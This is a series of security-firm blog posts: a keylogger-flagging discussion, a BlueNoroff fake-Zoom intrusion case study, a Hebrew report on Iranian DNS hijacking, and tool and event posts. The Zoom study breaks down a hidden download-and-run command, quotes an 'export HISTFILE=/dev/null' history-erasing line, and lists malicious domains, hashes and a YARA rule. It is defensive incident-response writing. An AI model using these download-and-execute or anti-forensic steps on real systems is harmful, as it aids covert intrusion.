![VirusTotal report: 23 of 72 engines flag the sample as trojan.keylogger or PUA](/assets/blog/when-research-meets-reality/68a60ed1c62519927ee2158f_1751784268953.webp)


No engine labels the file as *DPRK malware*; all verdicts are capability-based (“key-logger”) or generic *PUA*, underscoring the **context--not-hash** principle.

## 5 · Why legitimate tools get flagged

1. **Static capability heuristics** – hooking global keyboard APIs ≙ key-logger.
2. **Guilt-by-association** – once a hash lands in IOC feeds, any appearance raises alarms.
3. **Unsigned binaries** – OSS helpers rarely carry Authenticode signatures.

### Dual-use deja-vu: remember plink.exe

Security teams already wrestle with **PuTTY’s** plink—an off-the-shelf SSH tunnel that turns into C2 plumbing in post-exploitation kits. Forums are full of admins begging AV vendors to stop crying wolf.

node-global-key-listener is walking the same tight-rope: perfect-fit utility inside LaunchMenu, perfect-fit spyware when sideloaded by an APT.

## 7 · Remediation & hardening checklist

**Stop the bleed** Remove all Socket-listed packages; purge caches (npm ci).

**Restore trust** npm audit fix --production; pin deps to vetted versions.

**Erase footholds** Full EDR scan; search for the three KeyServer hashes & “HexEval” string.

**Rotate secrets** All creds touched on suspect hosts (SSH, cloud, npm, GitHub).

**Lock down supply chain** Enforce MFA on npm/VCS, signed commits, SBOM/provenance (SLSA).

**Limit blast radius** Build & test in containers/VMs; least-privilege on CI agents.

**Detect the next wave** Feed Socket IOC set to SIEM; alert on outbound traffic to the three Vercel C2 domains.

**Educate developers** Simulate “fake recruiter + coding test” phishing; highlight typosquat clues.

**Ensure recoverability** Offline backups; quarterly restore drills.

## 8 · Key take-aways

- **Hash ≠ intent.** The same binary can log hot-keys for a launcher or exfiltrate credentials for Lazarus.
- **Context decides enforcement.** Where did it come from? Who launches it? What network traffic follows?
- **Data-driven noise-surfing.** Label legitimate high-risk capabilities as **PUA**, not *APT-Flare-X*. Reserve red banners for *actual* implants.
- **IR teams need nuance.** Slamming the “quarantine all” button breaks build systems and burns trust. Instrument first, block wisely.

### About IONSEC Incident Response

From remote volatile-memory capture to one-click IaC rebuilds, **IONSEC’s “Ready · Set · Respond™”** method shrinks MTTR from days to hours—even when a “malware” alert turns out to be a misunderstood PUA. Need help separating real compromises from key-logger ghost stories? [**Reach out to IONSEC IR.**](/contact)

**References**

- Socket Threat Research blog, *“North Korean Contagious Interview Campaign Drops 35 New Malicious npm Packages”*, Jun 2025. ([**socket.dev**](http://socket.dev/))
- BleepingComputer, *“New Wave of ‘Fake Interviews’ Use 35 npm Packages to Spread Malware”*, Jun 25 2025. ([**bleepingcomputer.com**](http://bleepingcomputer.com/))
- node-global-key-listener package page, npm registry. ([**npmjs.com**](http://npmjs.com/))
- The Hacker News, *“North Korea-linked Supply Chain Attack Targets Developers with 35 Malicious npm Packages”*, Jun 25 2025. ([**thehackernews.com**](http://thehackernews.com/))

---

# How a Weaponized Zoom Installer Opened the Door for BlueNoroff

URL: https://www.ionsec.io/resources/how-a-weaponized-zoom-installer-opened-the-door-for-bluenoroff
Category: Case Study
Author: IONSEC Team
Published: 2025-07-03
Tags: bluenoroff, apt, social-engineering, incident-response, macos

IONSEC investigates a BlueNoroff intrusion that began with a weaponized Zoom installer, combining deepfakes, social engineering and evasive scripting.

![The weaponized Zoom installer used to gain initial access](/assets/blog/how-a-weaponized-zoom-installer-opened-the-door-for-bluenoroff/68a612fd553ccb3db0bbcd50_AD_4nXdPF3jwUoEe32hP-yWCoIwXmpfGW5HxkCFbFPEOHVPqwnQA4WqhC1hTNSUAEdafj0XT7tmSG7iCw10bXocW1Wp-TM827VHssW3K3Lh1yWAKQkoU53_R7TZou9vsdYEQyIobNF_i.webp)

## **Introduction**

As threat actors continue to evolve their tactics-leveraging deepfake technology, social engineering, and evasive scripting techniques-the line between social manipulation and technical exploitation is becoming increasingly blurred. The incident investigated by the IONSec Security Research team exemplifies this convergence, where human trust was weaponized to bypass traditional security barriers. This case underscores the urgent need for heightened user awareness, robust endpoint controls, and continuous threat intelligence sharing.

***IONSEC offers comprehensive, multi-tiered incident response services, ensuring around-the- clock MDR (Managed Detection and Response) and IR (Incident Response) capabilities to address any incident.***

📨 ***For detailed insights into our services, technologies, and to receive further guidance on safeguarding against such attack vectors, please get in touch with us at*** [***info@ionsec.io.***](mailto:contact@ionsec.io)

## **Summary**

In June, IONSec Security Research team conducted an in-depth investigation into an attack closely aligned with the tactics and infrastructure associated with the BlueNoroff campaign.

The threat actor demonstrated a high level of sophistication, employing a combination of deepfake technology and advanced social engineering techniques. These methods were used to foster a long-term, trust-based relationship with the target, culminating in what appeared to be a genuine personal connection.

This manipulation enabled the attacker to subtly influence the victim into unknowingly facilitating the creation of the attack surface. Through carefully orchestrated psychological tactics, the victim became an active-albeit unaware-participant in the compromise, highlighting the critical importance of user awareness and verification in today’s evolving threat landscape.

![Overview of how the victim was drawn into the compromise](/assets/blog/how-a-weaponized-zoom-installer-opened-the-door-for-bluenoroff/68a61c3c0f3c47286594fc4a_1751274561924.webp)

## **Attack Timeline**

![Timeline of the BlueNoroff attack](/assets/blog/how-a-weaponized-zoom-installer-opened-the-door-for-bluenoroff/68a612fd553ccb3db0bbcd10_AD_4nXcXaJnhY5zn3ir50xyzWLXBiNmy5DdNIjcEALqFDYmBfAEJ01DUXYHCZQ568bVlaJTcvykmjyG3j5wAG0mzlGUCUuKePKTpc-9uQk-Jx55BO_DlNXqCW7O7lYGXrHog4C--3vzfKw.webp)

## **Investigation & Findings**

Although the security controls successfully prevented the initial execution attempts of the malware, the threat actor persistently asserted that the code was benign and that the detection constituted a false positive.

Exploiting the trust and rapport previously established with the victim, the attacker repeatedly urged manual execution of the next command via the terminal. Ultimately, leveraging this social engineering tactic, the threat actor succeeded in convincing the victim to execute the following script locally.

![6f3615c2b7c8eae3c568488d31666dc9.png](/assets/blog/how-a-weaponized-zoom-installer-opened-the-door-for-bluenoroff/68a612fd553ccb3db0bbcd1c_AD_4nXfT8aBn4UAgXcTGlT-xAhclG51_vdaA2_JO1G9TUU3m_rSi-L72ZqT64kQo_Rh6PetyVIZ0T29SKp2onN8sf8lDyheTExYfGAAB7GEWzzw1PgizT3ndWO3CUA2pir6jGbZTp3ZZ.webp)

*Figure 1 - Realtime Command Execution by the Victim*

By default, execution of such scripts is restricted-highlighting the importance of the protections in place. However, this is precisely where social engineering became a critical component of the attack.

The threat actor capitalized on the trust and relationship they had carefully cultivated with the victim over time. They repeatedly reassured the victim that there was nothing malicious about the actions being requested, asserting that the malware and associated scripts were entirely benign.

In retrospect, each step of the process should have triggered suspicion. From the unusual script behavior to the manual terminal instructions, multiple red flags were present. Yet, due to the attacker’s sustained manipulation and established rapport, the victim proceeded without doubt or hesitation.

Subsequent domain analysis revealed that the malicious domain was no longer accessible. Furthermore, WHOIS data indicated that the domain had only been registered for a month-another clear indicator of suspicious activity that was unfortunately overlooked during the interaction.

## **Domain Identification**

**Domain Name**

us05-zoom[.]uk

**Registry Domain ID**

D\_85769449-UK

**Registered On**

2025-05-14T14:02:48.751308Z

- The domain name **mimics Zoom’s legitimate infrastructure**, combining:   
  - A regional server–like prefix: us05- (Zoom’s real servers often use us01web.zoom.us, etc.).
  - The Zoom brand: zoom.
  - A .uk TLD rather than Zoom’s real .us or .com.
- Registration date of **May 14, 2025** suggests this domain was created relatively recently and likely as part of an ongoing campaign.

## **Malware Analysis**

As the investigation escalated, we wanted to dive deeper into the “a” file behavior. The file executes a malicious script

![C++ dropper carrying payloads for both Apple Silicon and Intel Macs](/assets/blog/how-a-weaponized-zoom-installer-opened-the-door-for-bluenoroff/68a612fd553ccb3db0bbcd07_AD_4nXesG7g5z1X7kG2teq4uzR_vU89rJOiIHJq_P293kCWTlDajMDFb04bwNMvKEiSR6bg74T3Z3xNSK7VAOSDiTq3Eyc8-0wd5WeeJy9dZ0F9XU91aZvoEHISIpcoBYUiFc-qnIygNEQ.webp)

*Figure 2 - C++ Dropper. Include payloads for both Apple Silicon and Intel based MAC*

![bbba359af983cb4929f775e22cf4484e.png](/assets/blog/how-a-weaponized-zoom-installer-opened-the-door-for-bluenoroff/68a612fd553ccb3db0bbcd13_AD_4nXdLj3g1JPfcREV7EiJ7JiMYfYd3jALtT8x7fwuLFiwvlTtSpwsMYLvAgrJiGg1XVct9DOnptkWSB1Mom2K2zC-BCZuWdK2yVyKQOzQmyzUt8f5g2X9xSLa_T4XzjuFL0A9hsItK.webp)

*Figure 3 – The “a” file script.*

### **Step-by-step breakdown**

![4936c152e771c07addf68eff9b27a0ea.png](/assets/blog/how-a-weaponized-zoom-installer-opened-the-door-for-bluenoroff/68a612fd553ccb3db0bbcd16_AD_4nXehyMiPLA2leONwZ5CQUgMdi1q9bqPJ9c7BytjD4j0dU7Le1VXJPOZd4UKwnwLSemGL_IgmEBPBqO0glhNZcKdYG7kutNznA2o0j17hv6zSPL6SNEKRGFDq1rHe6ttqxTUtkVRH1A.webp)

- Spawns a new shell to execute the following command.
- Often used to pass complex commands into another shell.

![17e104319501b965d8217099144ea01a.png](/assets/blog/how-a-weaponized-zoom-installer-opened-the-door-for-bluenoroff/68a612fd553ccb3db0bbcd22_AD_4nXeJl0hdL3qoSYebo0jWmetJuwBPby_hEm5YfdOYxevy-R9331S_y22yVzx1zeRVMH48XBNROs_Y7vVLByrjc9ZUk-eeLFrQ14bl3208wASTJxTOzfRnb9NpJH042kSkE7N7lhj_GA.webp)

- Changes directory to writable temp folder on MacOS.
- Often used by malware to hide payloads in tmp folders.

![a184634d6cb9f02c494b2b60d18034ef.png](/assets/blog/how-a-weaponized-zoom-installer-opened-the-door-for-bluenoroff/68a612fd553ccb3db0bbcd0a_AD_4nXeR5VxAootjGcbtIhvVbhHGoIZ2Zik3-sJY6EzkDaV-LLrEL-VuYxHVN8j1uqgCjE0gx4zTbyswu9lhub5DPwq6ybu8rnrk4QJsaVH45pB4oLNmme8Z_0_eRdTergeqQCI_DIdN2g.webp)

- Downloads a file from URL.
- Sets a 60-second timeout for connection.
- -L orders the script to follow any HTTP Redirects.
- -k Ignores SSL certificate warnings.
- -o\(osascript\) Saves the downloaded file with the name osascript.
- || true if the curls fails, ignore the error and continue.

![1ad36b3dbada671901da60cc7d38aca3.png](/assets/blog/how-a-weaponized-zoom-installer-opened-the-door-for-bluenoroff/68a612fd553ccb3db0bbcd1f_AD_4nXe25vRPEPGcMn39vjH3SZ-oXGEoaYDc3azBOYJvufX4yQDwRKEINgU9BDnXr7kIp88zHqJleR1CTYHE16TLu71-5MTJa1sjbnvGOF8H7J6q6mNUBiXnYqGY2d9rmNmWiMALrJitcA.webp)

- Executes the file using osascript, a macOS tool to run applescript files.
- Runs in the background, and ignores errors (&,|| true)    
  - Apple Script can automate GUI Interactions, download further payloads, steal credentials, etc…

![af79192cc81e113f16833574bcef7af7.png](/assets/blog/how-a-weaponized-zoom-installer-opened-the-door-for-bluenoroff/68a612fd553ccb3db0bbcd0d_AD_4nXeccEiw7WIKFu4eoDF7x_PG61rXoSc3rwRTHwNx4c3TslhvgG_4x37CS9GRFP3owpCnqOqCdCjP9SUzdC9S9frO6PYiwcYdPTMMVew2Srh8o_5vTtk-3ZrS9ns8_vFXFq5tbg0fDA.webp)

- Redirects all output to /dev/null, hiding it from the user.
- The final “&” ensures the whole command runs in the background.

#### **Why is it malicious**

- Uses URL Impersonation (Zoom) to trick users.
- Executes a downloaded file blindly, which is a major read flag.
- Hides in a system temp folder and runs in the background.

![Command arguments captured by the IONSEC CTH service](/assets/blog/how-a-weaponized-zoom-installer-opened-the-door-for-bluenoroff/68a612fd553ccb3db0bbcd2b_AD_4nXdQUAgRRcXVvw21UYbynWS7XSOgd3-6SqcZNV1HBw-A_YS-vSVjejgy0MGg5OWI61nDmRGI8D1dcIhCbA_4c4wtoa-Kjd7d5lRKSAbKwpbIZcvfPnbFmh5oX-UClirmVGiMqRg_.webp)

*Figure 4 - Command Arguments Capture via* ***IONSEC CTH Service***

Another raising red flag is at the end of the script, the script deleting all the bash\_history related to the script execution.

Disabling Bash history in a script is a strong indicator of malicious intent, as it deliberately conceals the actions executed within a terminal session. The Bash history file (~/.bash\_history) serves as a crucial audit trail for system administrators and security analysts, providing visibility into the commands run on a system. By disabling or redirecting this history-commonly through commands like export HISTFILE=/dev/null-an attacker attempts to erase forensic evidence, hinder incident response, and avoid detection. This tactic is frequently observed in advanced persistent threat (APT) operations, where stealth and persistence are prioritized. In legitimate use cases, there is rarely a justifiable reason to suppress command history, making such behavior a red flag for post-exploitation activity or unauthorized access.

![Evidence of shell command history being suppressed after exploitation](/assets/blog/how-a-weaponized-zoom-installer-opened-the-door-for-bluenoroff/68a612fd553ccb3db0bbcd19_AD_4nXc7sZ_GextSw8CJ3XFQLfB-NQQSMn-2EvuD56jmY56hZ23Zk86gd84PfFDOKPLF_NgJ3VrwImzd-E92Dljkenz03ItNjLHBRY-mvsvCPAImySq7YIrwFhKAR4SzNIndVn4WuO_DTA.webp)

## Indicators of Compromise (IOCs)

### Malicious Files

- **“a” file**
  - SHA256: `92b2952ec93f1a6d094ca9cbde434805adaaa51159ea3e5983edc75667e94f55`
- **Zoom SDK Updater.scpt file**
  - SHA256: `d3c76b6f518ee90643c3ebcfcba2ba7909719ec22c5f9e85dfc1148d92231985`

### Malicious Links

- `hxxps://support.us05web-zoom.biz/troubleshoot-issue-727318`
- `hxxps://support.us05www-zoom.us/update/03417683468nQp53aMb7`
- `hxxps://support.us05-zoom.uk`

*(Insert IOC table screenshot here if available)*

## YARA Rules for Hunting

Example: **BlueNoroff\_InjectWithDyld Mach-O binary loader**

`rule BlueNoroff_InjectWithDyld {  
    meta:  
        description = "Detects BlueNoroff's InjectWithDyld Mach-O binary loader"  
        author = "IONSec"  
        date = "2025-07-02"  
    strings:  
        $s1 = "InjectWithDyld" ascii  
        $s2 = "__ZL15decryptPayloadPv" ascii  
        $s3 = "__ZL13loadPayloadPv" ascii  
        $s4 = "/tmp/payload.dylib" ascii  
        $s5 = "dyld_insert_libraries" ascii  
    condition:  
        uint32(0) == 0xfeedface or  
        uint32(0) == 0xfeedfacf and  
        all of ($s*)  
}`

*(Insert code screenshot or keep as text block)*

## Lessons Learned

- Social engineering can bypass strong technical defenses.
- Domain impersonation remains a top threat vector.
- Manual script execution should always raise alerts.
- Disabling bash history is a critical red flag.

## Conclusion

This campaign illustrates how adversaries exploit trust and persistence to compromise victims. By combining technical payloads with psychological manipulation, BlueNoroff weaponized a simple Zoom installer into an advanced attack chain.

IONSEC continues to provide managed detection, response, and forensic expertise for organizations worldwide.

📩 Contact: [**info@ionsec.io**](#)

## **References**

A big shoutout to the incredible team at **Huntress** for their outstanding research work. And **Validin** & **Maltrail** for the cyber intelligence

<https://www.huntress.com/blog/inside-bluenoroff-web3-intrusion-analysis>

<https://app.validin.com/threats/detailed/apt38>

<https://github.com/stamparm/maltrail/blob/master/trails/static/malware/apt_bluenoroff.txt>

---

# Iranian Threat Actor Hijacks DNS

URL: https://www.ionsec.io/resources/iranian-threat-actor-hijacks-dns
Category: Case Study
Author: IONSEC Team
Published: 2025-07-02
Tags: dns-hijacking, iran, apt, incident-response, israel
Language: he

קבוצת התקיפה האיראנית פתח אלקודס פרצה לרשם דומיינים ישראלי ושינתה רשומות DNS ו-MX של יותר מ-1,000 דומיינים, והפנתה אותם לשרת זדוני ולדף תעמולה.

במה שנראה כמתקפה  מתואמת ורחבה על תשתות האינטרנט הישראלית, קבוצת התקיפה האיראנית פתח אלקודס (Fath Al-Qouds) הצליחה לפרוץ למערכת של אחת מרשמי הדומיינים העיקריים בישראל. במסגרת המתקפה, שונתה התצורה של יותר מ־1,000 שמות דומיין — כך שכתובות ה-DNS וה־MX הופנו לשרת זדוני המופעל על ידי התוקפים בכתובת: 101.99.76.176.

הדפים הראשיים של הדומיינים שנחטפו הוחלפו בדף תעמולה איראני הכולל סרטון תעמולה, מפת מטרות בתוך שטח מדינת ישראל, וקישור לטלגרם של התוקפים.

## סקירה טכנית של המתקפה:

חטיפת רשומות DNS:

שמות הדומיין הוחתמו עם רשומות זדוניות:

![תצורת רשומות DNS מזויפות](/assets/blog/iranian-threat-actor-hijacks-dns/68a618975c3898069dc1cd32_AD_4nXeftkgqkbly2HEejTgAKltMIMyYZMrCja4fZ_vrqhP9grsAfStwGWZdQJ2DDSSUnpAdNxa9zsoxG8-TZ7HexyUdpHynKqSR9u4j_4ZnyLBs4gCac3tyQz7-uaJUjzp-cTBlx4TmerAUY-wci-MwCg.webp)

איור 1:תצורת רשומות DNS מזויפות

שרת אחיד לכל השירותים:  
 גם רשומות A  גם שרתי הדואר (MX), וגם שרתי השמות (NS) כולם הפנו לשרת אחד:

101.99.76.176

![כתובת השרת הזדוני ומקורו](/assets/blog/iranian-threat-actor-hijacks-dns/68a618975c3898069dc1cd2c_AD_4nXfIvvAPiWlF7P1LihfyzguRFKHuBavfKiLR3Enmt82V39PG3WzLyvzRA2cRzbW05S5X7v8MTYBiHnkKQAgS22y_pgnxBiOe4izRIuXsXKCs4IOGLf5pbjsZhFdeKj_jvFD4Sx55IfD4kqxBQ_qTE8s.webp)

*איור 2: כתובת השרת הזדוני ומקורו*

אחסון במלזיה:  
השרתים הופעלו תחת תשתית של חברת Shinjiru Technology במלזיה  ספק שידוע כמארח תשתיות של גורמים עוינים בעבר.

![כל רשומות ה-DNS, MX ו-NS מצביעות על אותו IP, מה שמעיד על ריכוז השליטה בשרת אחד](/assets/blog/iranian-threat-actor-hijacks-dns/68a618975c3898069dc1cd2f_AD_4nXcKR7rWvFgtLkvHXK_R4wC2wJehTTGqH4gmVqJTff4NNkg1u5FMSseVkIOYiuVlX6KtXP3x1GfYNTVnuMR9dpZVdsGzQC3tAcItCoOr5tq5G6IO4YgrzfiD2ndm2udy9R7SWgdW_QQVpmZl916W0JI.webp)

*איור 3: כל רשומות ה־DNS, MX ו־NS אשר מצביעות על אותו IP, מה שמעיד על ריכוז השליטה של התוקפים בשרת אחד.*

### פרופגנדה ותוכן מסית:

במקום אתרי היעד המקוריים, הגולשים הובלו לדף תעמולה שכלל:

- דגל איראן
- מסר הקורא "להעניש ולהשמיד את ישראל"
- מפת מטרות ישראלית אינטראקטיבית
- כפתור יצירת קשר לטלגרם של התוקפים

![דף תעמולה ראשי באתר שנחטף](/assets/blog/iranian-threat-actor-hijacks-dns/68a618975c3898069dc1cd45_AD_4nXfkGJ30IPiRXXXaZ7VbXIGd5gEO6j2mb_5O-yWrqMFvDJS9AkdxVprgC_yrSmx3-Urlb4mWIxTHnSi1mKMiDuwfmVrKa7O5wgeTRmLO6WcQeO0ItSkdi2xRME97Pyw4Xv009nEC2BPTwvElutFyZ3U.webp)

*איור  4: דף תעמולה ראשי באתר שנחטף*

הדף כולל קריאה להצטרפות למאבק, וסמל של הרפובליקה האיסלאמית של איראן.

![מפת מטרות ישראלית (לכאורה) בדף התעמולה](/assets/blog/iranian-threat-actor-hijacks-dns/68a618975c3898069dc1cd74_AD_4nXfGwP_jLuCJVULDsFH8iHp03hm_9KR0h26hI1_AgCqbfoFcllcE7JHYtdkByQRGtJfPBJrFfVJpMN2DQnJoVwAJ2wRBL1-XzvghzDwhF2QnJ2sW1NS00X4luP9U0QFq2yfOnBVZZt2r8ofDMDdoZkU.webp)

*איור 5:מפת מטרות ישראלית (לכאורה)*

מפה דינמית עם סינון לפי סוגי מטרות: מתקנים צבאיים, גרעיניים, תחנות כוח, נמל תעופה ועוד.

### ייחוס המתקפה לקבוצת פתח אלקודס:

במספר אתרים הושתל כפתור קישור ישיר לבוט טלגרם בשם fathalqoudsbot, הכולל סמל ושם הקבוצה. השימוש בטלגרם להפצת תעמולה ואיסוף מודיעין מהווה חלק משיטת פעולה ידועה של הקבוצה.

![הבוט בטלגרם של הקבוצה](/assets/blog/iranian-threat-actor-hijacks-dns/68a618975c3898069dc1cd77_AD_4nXcWuxHrxsqXZ6tyrAQs6J0hUHFkOWMezjMuwYgv16vgKdTyGpxLpq3BNLpyfEiG8BOqtD8YLxJD104UMN5NbWTXhcNShfP-TWwYhqVs713BS33nDKwz7mBdj56GWvW234N1-Vwl8B0n0DcmrxgVTfM.webp)

*איור 6: הבוט בטלגרם של הקבוצה*

![חשבון הטלגרם הרשמי של הקבוצה, כפי שהופיע באתרי הקורבנות](/assets/blog/iranian-threat-actor-hijacks-dns/68a618975c3898069dc1cd29_AD_4nXcBhznub2LnQIawxzhoq182ihUeQukI8cXT7x1tyWSZJQATkpP1uG3ddMZyXOPMvPIoMMmu5SY8hfBITVI7bmNlCO00bkQ9zGNq0F43mHCq8YtChNiU5ywxhgVywmlOZmwwSk9dyvTL8AJoI0X6xb8.webp)

*איור  7:מבט על חשבון הטלגרם הרשמי של הקבוצה, כפי שהופיע באתרי הקורבנות.*

### תרשים תשתית המתקפה:

הקבוצה השתמשה בארכיטקטורה פשוטה אך יעילה: שליטה מלאה על DNS,  
 מיילים ודפי נחיתה - כולם מאוחדים תחת אותו IP

![מפת ארכיטקטורת התקיפה: דומיינים, מיילים ודפי נחיתה מאוחדים תחת אותו IP](/assets/blog/iranian-threat-actor-hijacks-dns/68a618975c3898069dc1cd35_AD_4nXfbjcSPBra_Wgz4BIvP4ogXzT45GnzwxJ9SGQzk5K5NcKqui96q7wyc_DyNdnySheUWTKql2Rxf0i6ohWHI4_ar7d3iQV62AVWacZY7pikjWMheXeqPdHOO5PyViS9yv77kTLSLnxIKxKqcR-RHMPA.webp)

 מפת ארכיטקטורה של התוקפים

מתאר את הקשר בין שרתי השמות, רשומות הדואר, וה- DNS — כולם מופנים לשרת הזדוני במלזיה.

היקף ונזק:

- מעל 1,000 דומיינים נפגעו - בעיקר אתרים ודפי נחיתה של עסקים בישראל.
- חשש להאזנה לדוא״ל: עקב הפניית רשומות MX, קיימת סבירות שהאקרים יכלו ליירט תעבורת דוא״ל.

סיכום:

**אנחנו בחברת IONSec** זיהינו אינדיקציות ראשונות לתחילתה של המתקפה כבר בשעות הבוקר, וכבר אז התחלנו להפיץ התראות ללקוחותינו.

בעקבות האירועים, **אנחנו ממליצים** לשים לב לרמת האבטחה של הדומיין שלכם:

- ודאו שלרשם הדומיין (Registrar) שלכם מופעל מנגנון אימות דו-שלבי .
- בחנו את רמת האבטחה הכללית שלו וודאו שהיא עומדת בסטנדרטים הגבוהים ביותר.

שמירה על רמת אבטחה גבוהה ומעודכנת – במיוחד אצל ספקים חיצוניים קריטיים כמו רשמי דומיינים – יכולה לעשות את ההבדל בין מתקפה שנחסמת לבין פגיעה של ממש.

למידע נוסף או לייעוץ מותאם, אתם מוזמנים לפנות אלינו דרך האתר: [www.ionsec.io](/contact)

כמו כן תוכלו לבדוק [באפליקציה שפותחה](https://app--domain-guard-625073b9.base44.app/) בעזרת base44 האם הדומיין שלכם היה חשוף להתקפה:

![האפליקציה לבדיקה אם הדומיין נחשף להתקפה](/assets/blog/iranian-threat-actor-hijacks-dns/68a618975c3898069dc1cd3b_AD_4nXeO1SSS5WmrqcPYEj2W7bw7MTO5uAsJ8I6LU4a6RuXhBJuhvLG5udE0NNjEVKl4pQc18vCb50QRcTufN3B1cacyjVaYmcoVaucRmcR2UZyz1IklFlOE3BvrdIpIuGtJMcTwRKb1GgaXugknqN9-rjk.webp)

---

# RansomProtect – Open-Source Defense Against Ransomware & Wipers

URL: https://www.ionsec.io/resources/ransomprotect---open-source-defense-against-ransomware-wipers
Category: Tools
Author: IONSEC Team
Published: 2025-07-01
Updated: 2025-08-20
Tags: open-source, ransomware, wiper, endpoint-security

RansomProtect is our open-source tool that detects and blocks ransomware and wipers early in the infection chain, where built-in OS defenses fall short.

## Why We Built It

Many small to medium-sized organizations continue to rely solely on **built-in OS protections** or basic security tools. Unfortunately, this approach leaves them highly vulnerable to **modern destructive threats** like ransomware and wipers. These attacks can slip past standard defenses, **encrypting or destroying critical data without detection**.

To address this growing gap, we at **IONSEC** built **RansomProtect** — an **open-source security tool** designed to **detect and block malware early in the infection chain**.

🔗 Explore on GitHub: [RansomProtect](https://github.com/ionsec/RansomProtect)

## How It Works

RansomProtect leverages **system hooks** to continuously monitor activity at a deep level. When suspicious behavior is detected, the tool can take decisive action — including:

- **Malware Interception** – Early detection of malicious processes before encryption starts.
- **Network Containment** – Automatically disables network cards to stop lateral spread.
- **System Visibility** – Tracks execution attempts to help responders understand attack vectors.

## What’s Next

RansomProtect is still under **active development**, with powerful features in the pipeline:

- **Real-Time Log Transmission** – Forward security events to monitoring systems for SOC visibility.
- **Enhanced Behavioral Analytics** – Smarter detection models to identify evolving ransomware strains.
- **Broader Platform Support** – Expanding coverage beyond Windows environments.

This tool is being built **with the community, for the community**. We welcome your **feedback, testing, and contributions** to make RansomProtect stronger and more resilient.

## See It in Action

💻 Watch our demo and see how RansomProtect reacts to threats in real time.

👉 GitHub: <https://github.com/ionsec/RansomProtect>

[Video](https://player.vimeo.com/video/1111781374)

---

# IONSEC at the IMPROVATE CISO Summit

URL: https://www.ionsec.io/resources/ionsec-at-the-improvate-ciso-summit
Category: News
Author: IONSEC Team
Published: 2025-06-30
Tags: events, conference, ciso

Two months ago, IONSEC had the privilege of participating in the CISO Summit by IMPROVATE — a premier platform for connecting with Israel’s leading cybersecurity executives and security professionals.

## Driving the Future of DFIR for Decision-Makers

![IONSEC presenting next-generation DFIR at the IMPROVATE CISO Summit](/assets/blog/ionsec-at-the-improvate-ciso-summit/68a6269a06b70e2852200d1b_1749134206215.webp)

Two months ago, IONSEC had the privilege of participating in the **CISO Summit by IMPROVATE** — a premier platform for connecting with Israel’s leading cybersecurity executives and security professionals.

At the event, we presented IONSEC’s **innovative approach to Digital Forensics and Incident Response (DFIR)**, highlighting how CISOs can empower their organizations not only to **detect and monitor**, but to also **investigate, respond, and recover rapidly**.

## Key Takeaways

- **Speed Matters** – Response and investigation should not be slowed by local systems or manual processes.
- **Decision-Maker Focused** – Our services are tailored for **CISOs, OT/IT leaders, and security executives** who require efficiency, professionalism, and reliability when every second counts.
- **Next-Gen DFIR** – We showcased how our tools and services enable organizations to act faster and smarter, minimizing downtime and risk during incidents.

![Attendees at the IMPROVATE CISO Summit](/assets/blog/ionsec-at-the-improvate-ciso-summit/68a626a59bc42aebc0a365f4_1749134204184.webp)

## Looking Ahead

For those who couldn’t meet us at the event, we’d be glad to connect and demonstrate how IONSEC can **significantly enhance your organization’s readiness and incident response capabilities**.

Together, we can ensure that when the next cyber incident strikes, your team is not just prepared — but **Ready. Set. Respond.**

---

# LIVE from GISEC Global 2025 – Israeli Pavilion

URL: https://www.ionsec.io/resources/gisec-2025
Category: News
Author: IONSEC Team
Published: 2025-05-06
Tags: events, gisec, conference

IONSEC is proud to showcase an exclusive preview of our next-generation Digital Forensics and Incident Response (DFIR) platform at GISEC Global 2025, one of the world’s premier cybersecurity events in Dubai.

## Summary

IONSEC is proud to showcase an exclusive preview of our next-generation **Digital Forensics and Incident Response (DFIR) platform** at **GISEC Global 2025**, one of the world’s premier cybersecurity events in Dubai.

![The IONSEC stand at the Israeli Pavilion, GISEC Global 2025 in Dubai](/assets/blog/gisec-2025/68a61b0bbcaddce766dab701_1746533147275.webp)

## On the Ground at GISEC 2025

We’re joining the **Israeli Pavilion** to highlight how IONSEC is shaping the future of cyber defense. Our DFIR platform is designed to help organizations **respond faster, smarter, and with full forensic context** — turning chaotic incidents into structured, actionable investigations.

![The IONSEC team demonstrating the DFIR platform at GISEC 2025](/assets/blog/gisec-2025/68a61c8ca4ef0ec39556ca1c_1747047324916.webp)

## What You’ll Discover

Visitors at our booth will get insights into:

- **Regional Threat Activity**  
  First-hand intelligence on the latest threat actor campaigns observed across the Middle East.
- **Lessons from the Frontlines**  
  Real-world case studies from incident response engagements — what works, what fails, and how to adapt.
- **Next-Gen DFIR Capabilities**  
  A look at how we’re integrating automation, threat intelligence, and forensic depth into a single platform for security teams.

## Why It Matters

As cyber threats become more sophisticated, organizations need tools that bridge the gap between **speed** and **accuracy**. Our upcoming DFIR platform is built to deliver both — enabling teams to reduce response times without sacrificing investigative depth.

## Visit Us

📍 **Israeli Pavilion, GISEC Global 2025 – Dubai**  
Come say hello, share your stories from the field, and see how IONSEC is working to redefine cyber defense.

---

# Why Malware Analysis Training is Vital: Lessons from Real-World Cyber Attacks

URL: https://www.ionsec.io/resources/why-malware-analysis-training-is-vital-lessons-from-real-world-cyber-attacks
Category: Article
Author: IONSEC Team
Published: 2024-12-11
Tags: malware-analysis, training, awareness, incident-response

Picture this: airport metal detectors efficiently catch large, obvious weapons, but small components slip through unnoticed. Once inside, attackers assemble them into a complete weapon.

**Picture this:** airport metal detectors efficiently catch large, obvious weapons, but small components slip through unnoticed. Once inside, attackers assemble them into a complete weapon.

This is exactly how sophisticated cyberattacks bypass traditional defenses today. Hackers break down malicious payloads into seemingly harmless pieces, smuggling them past detection systems like file sandboxes or filters. Once inside your network, these components reassemble into a full-fledged attack.

And it’s not just a theory—here are real-world examples of attackers exploiting this method:

1. **Emotet Malware** Initially distributed as innocuous-looking email attachments, Emotet often used weaponized documents. By embedding malicious macros that executed secondary payloads, it bypassed many detection platforms. Once inside, it connected to command-and-control servers, downloading additional malware to complete the attack.
2. **TrickBot Modular Malware** TrickBot is a master of "piecemeal" attacks. It delivers modules in stages—credential stealers, lateral movement tools, and ransomware payloads—all downloaded after initial infection. By delivering these in parts, it often bypasses sandbox solutions that analyze only the initial payload.

**Why Training Matters** While automated tools are essential, they are not infallible. Attackers continually exploit gaps in detection. Malware analysis training empowers security teams to:

- Detect multi-stage and modular threats like Emotet, TrickBot, and others.
- Reverse-engineer malicious files to uncover hidden payloads.
- Understand the evolving tactics used to bypass automated defenses.

![Eitan Platok @ IONSEC CTO conducting a hands-on malware analysis workshop with one of our clients](/assets/blog/why-malware-analysis-training-is-vital-lessons-from-real-world-cyber-attacks/68a627e53d2e407769b602a8_1733909848816.webp)

